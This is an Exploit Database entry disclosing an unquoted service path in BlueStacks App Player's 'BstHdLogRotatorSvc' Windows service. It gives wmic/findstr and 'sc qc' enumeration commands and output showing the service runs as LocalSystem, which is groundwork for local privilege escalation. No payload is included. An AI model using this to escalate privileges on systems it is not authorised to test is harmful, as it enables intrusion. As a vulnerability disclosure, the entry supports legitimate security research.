

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc" Unquote Service Path

EDB-ID:

47582

CVE:

N/A

EDB Verified: ✘

Author:

[DIEGO ARMANDO BUZTAMANTE RICO](#)

Type:

[LOCAL](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2019-11-05

Vulnerable App:





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
# Exploit Title: Blue Stacks App Player 2.4.44.62.57 - "BstHdLogRotatorSvc"
Unquote Service Path
# Date: 2019-11-09
# Exploit Author: Diego Armando Buztamante Rico
# Vendor Homepage: www.bluestacks.com
# Software Link: www.bluestacks.com
# Version: 2.4.44.62.57
# Tested on: Windows 8.1 Pro
# CVE: NA
```

#Description

```
#Blue Stacks is an application which allows to run mobile apps on Windows
and Mac.
#The service BstHdLogRotatorSvc is use to allow HD displays of Blue Stacks
app.
#The service suffers from an unquoted path.
```

#PoC using CMD

```
#Command to discover the unquoted path:
```

```
C:\Users\user>wmic service get name, displayname, pathname, startmode |
findstr /i "Auto" | findstr /i /V "C:\Windows" | findstr /i /V ""
```

```
#As a result we have
```

```
BlueStacks Log Rotator Service      BstHdLogRotatorSvc      C:\Program
Files (x86)\Bluestacks\HD-LogRotatorService.exe      Auto
```

```
#We use the name of service to get its information using next command.
```

```
C:\Users\user>sc qc BstHdLogRotatorSvc
[SC] QueryServiceConfig CORRECTO
```

```
NOMBRE_SERVICIO: BstHdLogRotatorSvc
```

```
TIPO           : 10  WIN32_OWN_PROCESS
```

```
TIPO_INICIO    : 2   AUTO_START
```

```
CONTROL_ERROR  : 1   NORMAL
```

```
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Bluestacks\HD-
LogRotatorService.exe
```

```
GRUPO_ORDEN_CARGA :
```

```
ETIQUETA       : 0
```

```
NOMBRE_MOSTRAR  : BlueStacks Log Rotator Service
```

```
DEPENDENCIAS   :
```

```
NOMBRE_INICIO_SERVICIO: LocalSystem
```

Tags:

Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING